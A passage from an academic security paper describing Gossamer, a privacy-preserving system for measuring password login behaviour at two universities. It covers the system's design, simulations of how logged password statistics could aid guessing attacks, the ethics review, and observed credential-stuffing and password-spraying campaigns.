a login system’s password hash databases plus Gossamer
logs, we developed a new simulation-based approach to ana-
lyze the speed-up of brute-force cracking attacks that attempt
to additionally exploit Gossamer logs. For example, simu-
lations show that storing raw strength scores (as measured
by zxcvbn [47]) can provide up to a 20% increase in crack-
ing efficacy (using up to 109 hash computations), leading us
to reduce the granularity of strength scores. Ultimately, our
simulations suggest that the best performing attack increases
password recovery rates using Gossamer logs by less than 2%
using 109 queries.

To showcase the utility of Gossamer, we worked in close
collaboration with two large universities’ information tech-
nology (IT) security departments to perform a measurement
study of login behavior. Our measurement study protocols, in-
cluding Gossamer’s design and implementation, went through
a thorough, multi-step review process that included reviews by
the security engineering teams from both universities, repre-
sentatives of each university’s administration, and the relevant
IRBs. This process culminated in a determination that Gos-
samer poses minimal risk. We deployed Gossamer for seven
months at University 1 (U1) and for three months at Univer-
sity 2 (U2). We observed 34 million login requests (combined)
for approximately 500 K users who regularly log in to access
various university-provided critical online services such as
email, course enrollment, and employment information.

This enables first-of-their-kind measurements of password
usability and security. We saw that 1.9% of valid users at U1
and 4.6% at U2 changed their password in the data collection
period. We found that 6.5% of usernames at U1 appearing
in public breaches are still using a password that is only a
small variant of one of their leaked passwords. This motivates
deployment of password breach alerting services that take
into account similarity [35]. On the usability front, while the
Dropbox study reported that 5% of failed attempts were due to
easily correctable typos, our measurements indicate that 65%
of failed attempts could be typos (within edit distance two
from the actual password), suggesting this is a much larger
cause of user frustration than previously imagined. We also
report on the rate of login retries, the success and failure rate
of app-based two-factor authentication, and the possible adop-
tion of password managers. Finally, we are able to report a

few high-volume attacks, with insights enabled by Gossamer
to characterize the attacker behavior involved.

Summary. In summary, our paper is the first to propose a
measurement framework for passwords that can safely help
answer basic questions about password use. Our contributions
include:
• Design of Gossamer, which combines systems security,

simulation-based selection of password statistics, and pro-
cedural safeguards to enable measurement studies of
password-based login behavior.

• We worked with two large universities’ IT departments to
deploy Gossamer for multi-month measurement periods.

• We report for the first time on a variety of aspects of
password-related usability and security, and discuss the
implications of these measurements. For example, our mea-
surements motivate the need for password breach alerting,
suggest ways to improve lockout mechanisms, and more.

Finally, we hope that Gossamer can serve as a platform to
help drive future research on improving usability and security
of passwords. As such we are releasing Gossamer as a public,
open source project that may be useful for security researchers
both in industry and academia.

2 Background and Related Work

Current login systems still heavily rely on password-based
authentication. Users typically enter their usernames and pass-
words to a form on a web client, which submits them along
with other information relating to the user or machine such as
HTTP headers, cookies, IP, and user agent to the login server
over HTTPS. The server hashes the password (and a salt),
checks if the username and hash pair is present in the login
database, and if so, allows the user to log in or prompts for
further authentication checks. Otherwise the request fails.

Single sign-on (SSO) systems allow a user to log into multi-
ple different web services using the same username and pass-
word. When a user accesses a service, the service provider
(SP) redirects the user to obtain a proof of authentication
from the identity provider (IdP). The IdP provides the proof
immediately if the user has recently authenticated with it, or
requires the user to authenticate and provides the proof if the
authentication is successful. The OAuth framework [8] is a
common way to achieve SSO.

Looking ahead we perform measurements at two large
universities. Both U1 and U2 use SSO with Microsoft Active
Directory Federation Service (ADFS). While at U2 all login
traffic goes through ADFS, at U1, only a portion of traffic is
via ADFS. This is part of the reason we see a lower rate of
logins per day at U1 compared to U2 (Section 4).

Studies about passwords. Prior works [20, 26, 30, 32, 46]
have investigated guessability of user-chosen passwords.
Most of these rely on breached password data to understand
the distribution of user-chosen passwords. Several studies
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have used Amazon Mechanical Turk (AMT) to understand
user choice of passwords [22, 24, 43], under different factors
such as password requirements [24], presence of a password
strength meter [43], and use of a password blocklist [18].

As passwords chosen in this environment may not represent
passwords on real websites, several studies have inspected
real user passwords through client-side, server-side, or offline
instrumentation [14, 15, 36]. On the client side, Florencio and
Herley [14] installed a Windows Live Toolbar component for
five hundred thousand volunteer participants and analyzed
their password behavior over 85 days. Similarly, Forget et
al. [15] created a client-side data collection tool to observe
user’s password behavior in its natural environment [15, 36].

Measurement studies with login systems. To our knowl-
edge, three studies have looked at user passwords by instru-
menting the login servers. Bonneau et al. [10] instrumented
Yahoo’s login servers to receive login requests (including
user passwords) and construct histograms of password char-
acteristics based on user demographics. Mazurek et al. [29]
correlated password strength with demographic information
in an offline study with reversibly encrypted passwords on
an access-restricted computer. Chatterjee et al. [11] instru-
mented the login code at Dropbox for failed login attempts
to test whether applying a typo correction to the submitted
password would have produced the correct password.

Open questions. Many open questions remain about the
characteristics of the passwords submitted to a login system.
For example, how often do users log in from multiple devices,
how often do users submit the same incorrect password mul-
tiple times, and how often do users submit passwords that are
similar to one of their leaked passwords? More importantly,
can we collect information about the submitted password that
allows analyzing login characteristics without degrading the
security of user passwords? Such a framework would help
practitioners make data-driven login security policies, such
as account lockout thresholds, that better balance between
usability and security.

3 Designing a Secure Measurement
Architecture

To analyze the passwords submitted to a login system, we
need to instrument live login services and monitor login re-
quests, including the submitted username and passwords. User
passwords are highly sensitive and should never be logged.
We therefore designed a secure instrumentation architecture
that preserves the privacy of login requests while allowing
meaningful analysis. We refer to it as Gossamer and deploy
it at two login systems used at two universities in the United
States. Gossamer is designed in close collaboration with the
security engineers at these universities. Below we describe the
built-in security considerations in our design and the integra-
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Figure 1: The main components of Gossamer.

tion with the existing login infrastructure at these universities.

The architecture. Gossamer enables instrumentation of typ-
ical web login servers, such as those used for single sign-on
(SSO). An overview of Gossamer’s architecture appears in
Figure 1. A lightweight hook is deployed within the login
server that, on every received login request, sends a stripped-
down copy of the request to our instrumentation infrastructure
on a separate, in-network machine. This is done using a sep-
arate thread to avoid any noticeable latency impact by the
instrumentation on login behavior. A login request includes
the username, password, IP address, a subset1 of the HTTP
headers, timestamp, login result (success or failure), and fi-
nally an application-specific result code for the login attempt.

A measurement service receives this forwarded login infor-
mation. It is responsible for processing the raw login data in
a secure manner, converting it into sanitized logs, and storing
them in a persistent database. The persistent database can be
accessed by analysts (in our case, researchers) via a dedicated
analysis service for understanding user login behaviors. As
such, we partition Gossamer’s architecture into two security
levels: The lightweight login hook and measurement service
run at a higher privilege level and are administered by IT se-
curity staff; the analysis service is instead at a lower privilege
level, accessible by analysts (researchers).

We explain more about these two services further below,
but first describe our security and design goals.

Security properties and design goals. We design Gos-
samer to resist a variety of attacks. We note that all our net-
work traffic is encrypted using TLS, and as such we do not
discuss network adversaries further. Instead, we focus on the
threat of complete compromise of each (or both) of the ser-
vices, as well as the weaker adversarial threat of exposure of
logs generated by Gossamer.

To protect against these threats, we design Gossamer to

1The login server removes sensitive cookies specified by the security
engineers from the HTTP header, as some content can be more sensitive
than user passwords. For example, an “authentication cookie” could bypass
MFA requirements.
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conform to four security properties.

• Least privilege access to password data. The system must
ensure that the analyst receives only the information nec-
essary for analyzing login behaviors, while plaintext pass-
words remain restricted to particular services.

• Bounded-leakage logging. The system persistently logs
a small set of statistics about user passwords. The set of
statistics is carefully designed to bound the improvement
in guessing attacks against user passwords, even in the
case of complete compromise of the analysis service.

• Periodic deletion. The system should expunge all raw, sen-
sitive data older than 24 hours to reduce the exposure of
any data should the system get compromised.

• Safe-on-reboot. Finally, we must ensure that all sensitive
data from raw HTTP requests is destroyed on reboot. This
property was first introduced in [31] for the Bunker secure
network tracing system.

We will return to these properties as we elaborate on the
details of the architecture.

Security considerations in Gossamer. As mentioned, Gos-
samer uses two services running at different privilege levels
on two different machines — a measurement service for pro-
cessing the raw login data and storing the anonymized statis-
tics of user logins into a secure, persistent relational database,
and an analysis service for analyzing the data from the persis-
tent database. Separating measurement from analysis enables
us to maintain the same privilege requirements for access to
password data as there are without Gossamer. The high-level
architecture diagram of Gossamer including privilege levels
is shown in Figure 1.

The measurement service runs on a heavily access-
restricted machine that receives a copy of the login request
over an encrypted channel from the login servers. The service
then computes measurements over the submitted password
and stores them in the persistent database. Some interesting
statistics require the plaintext submitted password across mul-
tiple requests — for example, the number of unique passwords
submitted by a single user or from a single IP address. There-
fore, the measurement service stores passwords encrypted
using an in-memory key in the ephemeral database. The key
is stored only in memory and is automatically replaced with
a new key every day at midnight local time. The ephemeral
database is placed in a memory-based file system, such as
the /tmp directory. The key rotation cryptographically erases
the data stored in the ephemeral database every 24 hours.2 If
the measurement service is killed or the device is rebooted,
all ephemeral data is effectively deleted. This ensures our
periodic deletion and safe-on-reboot requirements.

2Key rotation at midnight deletes the data received, say, an hour before
midnight, limiting our ability to correlate between passwords received before
and after midnight. It is an open question how to design an efficient key-
rotation technique that will allow secure deletion without requiring storing
linear number keys in memory.

The ephemeral database allows us to calculate a number
of measurements referencing the passwords submitted across
multiple logins. These measurements (given in Section 4) al-
low us to characterize user behavior and could help in building
attack detection mechanisms. The output of the measurement
is stored in a persistent database outside the privilege bound-
ary, where it can be accessed by the researchers. This database
is placed in a disk-encrypted volume, providing another layer
of protection in case the volume is backed up to an unpro-
tected machine or is compromised. The key to the encrypted
volume is only known to a subset of researchers, as the IT
security engineers did not need it .

Protecting user privacy. To protect the privacy of users,
Gossamer anonymizes the usernames before storing in the
persistent database by encrypting them using a deterministic
encryption scheme [19]. The encryption key is only accessi-
ble from within the measurement service. The deterministic
nature of encryption allows us to cross-reference the logins
against a username without knowing the actual username,
while also allowing us to report compromised usernames to
the security engineers, should we discover any. We do not
record any personally identifiable information about the user,
including their real name, affiliation, or account type (such
as student, faculty, or staff). We do record the source IP ad-
dress for requests, which is needed to analyze client and attack
behaviors.

Of course re-identification attacks [33, 41] may be possible
given access to these logs, and for this reason alone logs are
not suitable for public release. We have strict policies against
re-identification for the limited set of researchers who access
the analysis service. All analysis is performed on the analysis
server with encrypted usernames, and only summary statistics
leave the analysis service.

Both the persistent and ephemeral databases are instan-
tiated as MySQL databases. The measurement service is a
Python Flask application running on an Apache server. We
use the Python Fernet [4] library to encrypt user passwords
in the ephemeral database using AES-256, and we use the
Python Miscreant [5] library to deterministically encrypt and
decrypt the usernames using AES-SIV.

Integration with other data sources. Looking ahead, in
both of our deployments there are other relevant data sources
available that we would like to analyze. Namely, it is common
for organizations to have a database that contains reports
about potentially compromised accounts which can provide
insights into what attacks are (not) being caught by current
security mechanisms. At the universities we worked with,
these reports are generated when a user alerts IT security to a
compromise, or because existing alert generation mechanisms
(including third-party breach alerting services the universities
subscribe to) flag an account. In both cases, an IT analyst
manually inspects existing logs to attempt to determine if a
compromise occurred.
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To make use of these compromise reports, we add to
the measurement service the ability to accept such logs,
anonymize them by encrypting all usernames (using the same
key as above), and transfer the resulting data to the persistent
database. A similar approach can be used in other deploy-
ments of Gossamer to incorporate other relevant data sources,
such as logs from MFA services.

4 Password-Derived Measurements
and Security Analysis

Gossamer enables analyses based on the passwords submitted
during login, which will improve our ability to characterize
user login behaviors. Passwords, however, cannot be made
available to analysts for security reasons. We therefore design
Gossamer to only collect limited, useful statistics about the
submitted passwords without storing passwords persistently.
However, even just statistics computed over user passwords
could leak information about the password, so care must be
taken on which statistics are persistently stored and made
available to the analysts.

In this section, we discuss how we assessed the security
implications of the Gossamer logs storing different kinds of
password-derived measurements.

4.1 Password-derived measurements
To assess risks related to password-derived measurements,
we adopt an iterative, simulation-based methodology. We
consider a potential logging schema, namely the set of mea-
surements that we log about login attempts. For a candidate
schema, we perform a simulation-based risk analysis that con-
sists of (1) defining a threat model including log exposure; (2)
determining a baseline attack that does not exploit exposed
logs; (2) developing a log-exploiting attack that incorporates
information leaked via fields from the candidate schema; and
(3) running simulations using leaked passwords to assess the
increased success rate of the log-exploiting attack over the
baseline. This allows quantifying risk, and if it is too high we
adjust the logging schema and repeat the process until we are
satisfied that risk is relatively low.

First we identify potential fields to include in a schema.
Figure 10 in Appendix A lists the fields we ultimately utilize
in Gossamer. We also considered several other fields that we
eventually discarded as too risky, as we now explore.

To understand password strength, we consider including a
zxcvbn strength score [47], and whether or not it belongs to
one of the popular password guessing lists (the most frequent
5,000 passwords in RockYou [6] or the top 5,000 passwords
generated3 by Hashcat [40]).

To understand how often breached passwords are submit-
ted, we consider marking passwords as being in well-known,

3We use the rule list best_64.rule [7] (a rule list compiled by the
Hashcat community of what are considered to be the best 64 rules) with
RockYou to generate the guesses.

public breaches, which makes those users vulnerable to cre-
dential stuffing attacks. For this we use a dataset of 1.3 bil-
lion breached username-password pairs [45] and the Com-
pilation of Many Breaches (COMB) containing 3.2 billion
pairs [37] released in February 2021. For each attempt, we
logged whether the username, the password, or the username-
password pair appeared in this breach dataset. We also con-
sider vulnerability to credential tweaking attacks [12, 34, 44]
that target passwords similar to a user’s other breached pass-
words. We therefore consider recording the submitted pass-
word’s edit distance, PPSM similarity [34], and Pass2Path
similarity [34] from each breached password for the given
username, if it is present in the breach. We also consider
logging the edit distance of the submitted password from pre-
vious passwords submitted for that username and IP in the
same 24 hour window, which would shed light on whether
users are making typos or submitting distinct passwords, and
what types of password-guessing strategies attackers employ.

4.2 Security analysis of measurements
We now turn to making risk assessments about candidate
measurements schemas and, in particular, how exposure of
Gossamer logs using a candidate schema can be exploited to
improve password guessing attacks.

Threat models. As discussed in the last section, we designed
Gossamer and our deployment procedures to limit the risk of
illicit access to Gossamer logs, but the principle of defense-
in-depth suggests that we consider when these mechanisms
and procedures fail. For example, an insider attacker could
leak the logs to the public internet, or a smash-and-grab attack
could somehow compromise the analysis service and exfiltrate
the logs.

We therefore consider two threat models. Both threat mod-
els assume the attacker obtains a copy of Gossamer logs, can
re-identify4 usernames within the dataset, and seeks to infer
the password associated to some particular username. In the
first threat model, the attacker can mount an online guessing
attack by querying the login service. In the second threat
model, the attacker is assumed to additionally have access
to some salted hash of the password and so can perform an
offline guessing attack. The only difference between the two
threat models for our purposes is the expected guessing bud-
get q, which would be on the order of tens to thousands in the
online case and hundreds of millions in the offline case.

Looking ahead, it will also be material whether or not the
targeted username appears in an attacker-known password
breach. If not, the best strategy is for the attacker to modify a
target-agnostic password guessing attack (e.g., a dictionary
attack) to incorporate relevant information leaked via the
log file. In the targeted guessing threat model, the username

4Recall that the persistent database contains masked usernames, and it is
not exactly clear how attackers would re-identify in this setting. Nevertheless,
we conservatively assume that re-identification is perfect.

USENIX Association 31st USENIX Security Symposium    1871



appears in data breaches known to the attacker, and so the
best strategy is to modify a targeted password guessing attack
(e.g., [34]) to incorporate relevant information leaked via the
log file. We detail particular attacks more below.

In each threat model we consider also a baseline attack
(specified below) which performs either targeted or untargeted
guessing without exploiting the log files.

Dataset for simulations. The simulations discussed below
are based on the breach data used in prior work [25, 34] con-
taining 1.3 billion username-password pairs. There are 370
million unique passwords between length 6 and 30, associ-
ated with 1.12 billion usernames. We removed passwords
shorter than 6 characters and longer than 30 characters as
done in [25, 34]. We split this data so that the attacker has ac-
cess to 80% to inform a guess list, and we randomly sampled
10,000 passwords with replacement from the remaining 20%
as target user passwords that the attacker is trying to guess.

Password strength measurements. We first focus on four
of the password-derived measurements: (1) whether the pass-
word is in the top 5,000 RockYou passwords (RY), (2) whether
it’s in the first 5,000 Hashcat-generated passwords (HC), (3)
the binary zxcvbn (ZB) score of the password that we explain
below, and (4) the raw zxcvbn [47] score of the password for
comparison. By default, zxcvbn returns a password strength
between 0 and 4. We hypothesized that this level of granu-
larity would leak too much information about the password
and speed up a guessing attack. Therefore, we also consider
a modified zxcvbn score, where we record 0 if the zxcvbn
score is 0, and 1 otherwise; we refer to this as the binary
zxcvbn score (ZB). We also consider a combined measure-
ment of all three measurements described above (except the
original zxcvbn score) — that is, whether the values of all
three measurements match between two given passwords.

Each of these password-derived measurements can be rep-
resented as a function M(w) that outputs the result of the
measurement as a boolean, an integer, or a tuple. Given a
measurement value m = M(w̃) about a randomly chosen tar-
get password w̃, the attacker wins if they can guess the target
password within q guesses. This is also called the q-success
rate (λq). We measure λq for different values of q. An at-
tacker, given a measurement m = M(w̃), can filter its list of
guesses W to only the passwords w ∈W that match the mea-
surement, i.e., m = M(w). We let λM

q be the success rate of
this attack. The baseline success rate λ0

q is given by the recov-
ery rate of the attack that simply queries the attacker guess list
in descending frequency order (without filtering). Thus, we
measure the increase in attacker success as ∆q(M) = λM

q −λ0
q.

The results of our simulations are shown in Figure 2. We
first discuss the online context, where q≤ 1000. Among dif-
ferent measurements, revealing the zxcvbn score provides the
largest improvement in attack efficacy, enabling an attacker
to guess 1.6% more passwords in less than 1,000 guesses,
compared to the baseline (of 1.8% passwords). The binary
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Figure 2: Relative improvement in password guessing success
rate (∆q) due to access to password-derived statistics from
Gossamer over the baseline in q≤ 108 guesses.

zxcvbn score reduces the guessing advantage by a modest
amount. Overall, all three measurements combined — Rock-
You top 5,000, Hashcat top 5,000, and the binary zxcvbn score
— would enable an attacker to guess ∆103 = 3.1% more pass-
words compared to not having access to the password-derived
measurements. Note that this is without any password policy
(except the minimum length requirement of 6 characters).

We also check the success rates for passwords containing
at least three character classes (uppercase, lowercase, digits,
and symbols), a common requirement. Both universities have
three character classes as part of the password policy for cur-
rent students, staff, and faculty, although old alumni accounts
may not satisfy this requirement. When looking at passwords
that meet this policy, only 0.8% of passwords are guessed
within the first 1,000 guesses without any password-derived
information, and the combination of password-derived fields
brings this percentage up to just 1.3% (∆103 = 0.5%).

Next we discuss the success rate of an attacker for a large
guessing budget q ∈ [103,109]. As before, the zxcvbn score
can be damaging to the privacy of user passwords, resulting
in as high as a 20% increase in attacker success. The binary
zxcvbn score provides less information and never leads to
more than a 2% increase in attacker success even with a very
high number of guesses. Combined measurements also lead to
a bounded increase in the fraction of passwords cracked by the
attacker, who can guess at most 4% more passwords with the
measurement information in an untargeted attack compared to
an attacker without the information. More importantly, most
of the improvement occurs for passwords guessed in less
than 10,000 guesses because the statistics allow an attacker
to rule out many popular passwords when guessing already
vulnerable, weak passwords.

Thus we conclude that while including full zxcvbn would
be too risky, the increase in attacker success when given the
other password strength measures (with the binary zxcvbn
score) is sufficiently small.

Edit distance measurements. Other measurements we con-
sider are the edit distance from breached passwords for the
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appropriate username and the edit distance from other submit-
ted passwords, including the correct ones. Early versions of
Gossamer recorded the precise edit distance; we instead now
suggest quantizing to just indicate whether a submitted pass-
word is within edit distance two of a breached password or
other submitted password. Our current implementation does
so, and we quantized the data in previously gathered logs.

To come to this conclusion, we observe that an attacker
in our threat model can check whether a username is in a
breach. (Recall that we conservatively assume the attacker
can perfectly reidentify usernames and that they have access
to all the breach data used by the measurement system). If the
username is not in a breach, then the attacker can proceed as
above through a general guess list. If it is, then the attacker
can mount a targeted credential tweaking attack in the follow-
ing way. They start by generating guesses using the state-of-
the-art credential tweaking attack based on pass2path [34],
seeding it with the passwords in the breach for the targeted
username. They can then use the edit distance fields in the
log data to filter this guess list by removing any guesses that
are the incorrect edit distance from the breached passwords,
or not within the appropriate quantized edit distance from the
breached password, depending on which schema option we
are evaluating.

To assess the improvement in attacks, we compare the
modified attack to a baseline one that just applies pass2path.
For simulations, we randomly selected 10,000 username-
password pairs from the 20% test data described above, but
conditioned on the usernames also appearing in the 80%
leaked dataset. We exclude cases where the password is the
same on both sides of the split (such passwords would be eas-
ily guessed via credential stuffing). For each target username-
password pair, we give the attacker the edit distance of the
target password from all the breached passwords associated
with that username. Then λed

q is the success rate for pass2path
with guesses filtered to only those that have matching edit
distance information. The baseline attacker’s success λ0

q is
vanilla pass2path’s success rate.

The baseline success rate in the online setting is λ0
103 =

21.6%. With precise edit distances knowledge, the attacker
can instead achieve λed

103 = 85.2%. This is an uncomfortably
large jump in attacker’s success. Quantizing to just edit dis-
tance ≤ 2 yields a 22.5% success rate, just a 0.9% increase
over the baseline. For larger query budgets (relevant in offline
cracking attacks), the improvement for quantized edit distance
is even less, at 0.25% increase over baseline for q = 108.

Discussion. Our simulations suggest that including even
moderately granular data such as zxcvbn scores or edit dis-
tances in log files might be a risk factor in the case that per-
sistant logs are somehow leaked to adversaries. Therefore we
suggest a conservative approach and select logging schemas
that avoid improving guessing attacks significantly. contribu-
tion of this work, as it allows reasoning in a structured way
about risk of password-derived fields.

One current limitation of the framework is that it focuses
thus far on attacks against a single user, and so we do not
yet know how best to assess the risk of measures capturing
similarity of passwords across usernames. Future work could
look at extending the framework to look at multi-user attacks.
Another limitation is that we rely on best-known attacks (such
as pass2path), and as such future work could yield improved
attacks. It is therefore important to retain the ability to sanitize
or delete older logs should new results surface previously
unforeseen risks.

A full list of measurements logged by Gossamer can be
found in Appendix A Figure 10.

5 Deploying Gossamer

We partnered with security engineers at two large universities
to deploy Gossamer and collect data, beginning in December
2020. We collected data for seven months at U1 and three
months at U2 (a shorter timeframe due to the preferences
of the IT department) . This timeframe encompassed mid-
semester, exam, and break periods, so we were able to observe
different levels of activities. Throughout this timeframe, we
occasionally made updates to some of the measurement mech-
anisms; these updates were done after careful review of the
code by pulling from a git repository accessible to the virtual
machine running the measurement service, and any summary
statistic that may be affected an update was calculated using
the data after the update was made .

Review process and ethical considerations. Although our
research could help understand characteristics of password
submissions received by login systems, we must also consider
the privacy and security risks of inadvertent exposure of the
sensitive information in the logs. Our design of Gossamer,
therefore, strives to balance these risks with the benefits of
protecting user accounts. We conducted a nearly year-long
design and implementation effort that entailed a number of
external review processes to help guide our research study
and reduce potential privacy and security risks to users.

As noted in Section 3, Gossamer logs do not include PII.
Researchers (with one exception mentioned below for com-
promise reporting) do not have access to usernames or email
addresses. They do have access to IP addresses from where
login requests originate.

To protect sensitive data, Gossamer uses a layered ap-
proach to security with an encrypted disk, strict firewall rules,
and MFA login to access the analysis service. Moreover, Gos-
samer never stores plaintext passwords on disk; it instead
stores a set of password-derived measurements in the per-
sistent database for analysis. Even in the case that these are
somehow leaked the chosen measurements represent little
additional risk of password disclosure (see Section 4).

The research group had ground rules for handling the data,
including minimizing granularity of information shared out-
side the confines of analysis systems, restricting persistent
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Figure 3: Successful and failed login attempts per day at two universities (for a total of 196 K unique users at U1 and 309 K at
U2). Potential high-volume attack campaigns we discovered are also shown.

database access to only a subset of researchers, and setting
clear expectations about (in)appropriate use of access (e.g.,
prohibiting re-identification attacks attempting to identify a
user from the obfuscated data).

We also went through a careful vetting and approval process
with university leadership and their information technology
(IT) security departments. This involved presenting to the
university leaderships about the goals, design, and procedures
associated with the measurement studies, and working closely
with our universities’ security engineers to design and imple-
ment Gossamer. Satisfied with our process and the potential
benefits to university account holders, we received approval
from university leadership for the deployment of Gossamer.

Before deploying the system, we submitted our study de-
signs for IRB review at each university. The study protocols
at the two universities were slightly different in how we report
to IT security compromised user accounts. At U1, researchers
never had access to plaintext usernames, and the security en-
gineers handled the decryption of reported (encrypted) user-
names. Therefore, we received an IRB exemption at U1, which
found that the research study does not qualify as human sub-
jects research. At U2, security engineers requested that we
report the plaintext usernames for operational simplicity. One
researcher decrypts the username before reporting compro-
mises. Therefore, we received IRB approval at U2, finding
the study as a minimal risk human subject research. We did
not seek consent from individual users, as we do not know
their usernames or email addresses. Instead we obtained ex-
plicit approval for conducting this study from the universities’
leadership and IT departments who provide the login services.
Such waivers of explicit consent from participants were used
in prior work (e.g., [21]) and are discussed as an acceptable
approach in the Menlo report [23].

Deployment configuration. As mentioned in Section 3,
Gossamer consists of two services — a measurement ser-
vice and an analysis service. For U1, we used Amazon EC2
in a virtual private network to host the measurement service
as recommended by the U1 security engineers, and we used

an on-premise dedicated server for analysis. For U2, we used
two separate on-premise virtual machines for running the
measurement service and the analysis service. The persistent
storage is hosted inside the VM running the analysis.

Strict firewalls were set up for all machines (on-premise or
EC2) that block all incoming and outgoing requests except
from inside the private network of the respective universi-
ties. Only a subset of the researchers have access to these
machines via SSH, and the access requires two-factor authen-
tication. All incoming and outgoing network connections are
logged by the firewall and regularly checked by the security
engineers for signs of intrusion attempts. Relevant security
patches are checked regularly and applied immediately. The
persistent storage uses a MySQL database, which uses TLS
for all communication and the underlying disk is encrypted
at rest. The login server and the measurement service also
use TLS with pinned certificates [13] for all communications.
All passwords used are longer than 12 characters, randomly
generated, and stored in a password manager. The security
engineers also ran scans on the code of Gossamer and the
VMs to check for known vulnerabilities.

6 Login Statistics, Patterns, & Observations

We collected data at U1 for seven months and at U2 for three
months starting in December 2020. Overall, we observed 10
million requests at U1 and 24 million requests at U2. We
show the daily successful and failed requests in Figure 3. On
average, 5–8% of requests failed; however, on a few days
we observed a spike in the failure rate (> 50%). These were
high volume attacks that we discuss below. After removing
the noise caused by these attacks, we found that users sub-
mitted login requests on average 1.99 times per day at U1
and 2.05 times per day at U2. We see fewer login requests at
U1 because some login requests are handled via a different
authentication server that is outside of our instrumentation.

We saw 196 K unique usernames submitted to U1, out of
which 177 K were valid usernames, of which 154 K users had
a successful login at least once during our instrumentation
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Univ. 1 Univ. 2

Session Statistics (with a 360s threshold)
Avg. session size 2.25 2.21
99th percentile session size 10 6
% abandoned sessions 5.47% 1.96%

User Statistics
# of unique usernames seen 196,424 309,801
# of valid users 177,286 169,774
# of active users 130,695 110,476
% valid users w/ weak passwords 0.03% 0.06%
% valid users w/ username in breach† 5.79% 3.27%
% valid users w/ passwords in breach† 2.92% 9.34%
% valid users w/ user-pw pair in breach† 0.01% 0.15%
% valid users w/ tweaked password 1.22% 0.66%
% valid users who may be using password
managers

24.76% 27.34%

Avg. devices per user per day 1.51 1.91
Avg. devicesper user (over whole time period) 14.51 14.97
Avg. num unique passwords per user 1.96 9.59

Login Statistics
Avg. Login requests per day 49,302 246,274
Avg. # of submitted usernames per day 24,822 61,798
% of requests succeeded 94.99% 92.35%
Avg. # requests per day per user 1.99 2.05
% of requests from mobile device 31.00% 35.57%
% IPs from VPNs, proxies, or Tor nodes 22.08% 4.91%

Submitted password statistics
% req. w/ password in breach† 2.71% 0.10%
% req. w/ user-pwd pair in breach† 0.07% 0.01%
% failed req. containing a typo 29.67% 12.04%
% failed req. (with edit dist msmt) containing
a typo

62.39% 58.37%

% failed req. from mobile device containing a
typo

38.63% 38.36%

% failed req. (with edit dist msmt) from mo-
bile device containing a typo

72.69% 81.87%

% pwds tweaked 0.92% 0.34%

† Statistics related to breach data were calculated for data beginning Jan 27 ’21 after
we added more breach data to the instrumentation.

Figure 4: Summary statistics of login requests recorded by
Gossamer at U1 and U2. More statistics can be found in
Appendix A Figure 12.

period. At U2, we saw 170 K users with at least one successful
login during our instrumentation period and 15 K additional
users who tried to log in with a valid username but could not
complete login due to errors. We consider a user active if they
have at least one successful login every month. We found
about 130 K active users at U1 and 110 K at U2.

Requests originated from 526 K unique IP addresses (ap-
proximately 88 K per month) at U1 and 513 K (171 K per
month) at U2, and they were associated with 44 K unique
user agents at U1 and 31 K at U2. We also used the GeoIP2
database published by MaxMind [27] to find location infor-
mation for IPs; the majority of login requests at both schools
originated from within the United States, followed by China
and India. Summary statistics that we report on these login
requests can be found in Figure 4, with additional statistics in
Figure 12 in Appendix A.

6.1 Characteristics of high volume attacks

We observed three high volume attacks during our instrumen-
tation. Since we are focusing on understanding the full picture
of user behavior, we first report on these attacks and then re-
move them from the dataset to avoid skewing other statistics
we report. In total, we removed 54 K requests at U1 and 81 K
requests at U2.

Attack 1: Naïve, multiple-IP, high-volume credential stuffing
attack campaign at U1. Over January 25–26, 2021, four IPs
conducted a credential stuffing campaign consisting of 36 K
attempts to 19 K users. Two of these IPs were identified by
the MaxMind GeoIP database [28] as coming from NordVPN,
one from Microsoft, and one from Inwi Mobile [3]. All IPs
were active in non-overlapping time periods and submitted up
to 100 requests per second. More than 99% of requests from
these IPs in this time frame had null user agents. Almost a
third of the attempts (29%) of submitted username-password
pairs from these IPs were directly from prior breaches, and
60% of submitted passwords were present in prior breaches.

The attack campaign successfully compromised 23 ac-
counts at U1, all of which had been flagged by security engi-
neers and had their passwords scrambled to prevent access.
We observed some duplicate username-password pairs sub-
mitted across IPs; thus we hypothesize that the attacker used
an automated script that iterates through an unfiltered list of
breach data using a variety of IPs.

Attack 2: Credential stuffing attack using Sentry MBA tool
against U1. An IP hosted in Google Cloud [2] executed
another credential stuffing attack at U1 on March 14th, 2021
from 18:42 - 22:22 UTC. This IP submitted over 17 K re-
quests to 15 K unique usernames, submitting approximately
80 requests per second. Of these attempts, 22% of the sub-
mitted username-password pairs and 56% of the submitted
passwords were directly from the breach data we used with
Gossamer. The attacker successfully guessed the passwords
for 14 users. Among those, 13 were already recorded as com-
promised by security engineers; we reported the remaining
encrypted username to the security engineers as a potentially
compromised account.

Although both Attacks 1 and 2 were credential stuffing
campaigns, we suspect that the respective attackers were using
two different sets of breach data, as there was little overlap in
the users targeted.

We noticed that the attack traffic in this campaign was
evenly split between five distinct user agents that were not
present in the rest of our data; these five user agents are the
default user agents for a tool called Sentry MBA [42]. Sentry
MBA is a credential stuffing tool where the user can specify
a list of usernames and passwords, a config file for specifying
the HTML fields on the target login page, and a list of proxies
from which to send traffic.

Attack 3: High volume, password spraying attack at U2. On
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December 22nd, 2020, a total of 12 unique IPs belonging to
Digital Ocean Cloud [1] carried out a high volume password
spraying attack by targeting 76 K unique users with 169 K
requests at an average of 262 requests per minute. The at-
tacker pretended to send requests from SMTP and IMAP clients.
The number of usernames targeted by each IP was evenly dis-
tributed among the IPs, and these IPs were active only during
the attack period. Less than 3% of submitted passwords were
from prior breaches, and none of the submitted usernames
were present in prior breaches. We also noticed that all of the
login attempts were for non-U2 usernames, indicating that the
breach data was not filtered before the attack. Consequently
during this attack campaign, there were no successful logins.

Filtering out attacks. We remove requests from IP ad-
dresses corresponding to these three attacks on the respective
days for all subsequent statistics to avoid skewing the statis-
tics. Although we did have access to compromised usernames,
there was no clear way to determine which IP address compro-
mised a given user. In Section A.2, we show why excluding
all IP addresses that contacted a compromised user would
not have significantly affected the statistics. This filtering ap-
proach works for our setup but may not generalize to other
systems. Similarly, although there could be other low-volume
attacks that we did not detect, we believe they will not impact
the statistics we report.

6.2 User and client statistics

Gossamer observed login attempts for 196 K unique user-
names at U1. Among the users who could never login, 42 K
(21%) of them used a username that does not exist in the
U1 login database; however, only 0.1% of these usernames
appeared in our breach data. At U2, we saw 310 K users who
tried to login, 170 K (55%) that were successful, and a stag-
gering 139 K (45%) usernames that do not exist. We are not
sure what caused such a high volume of login submissions
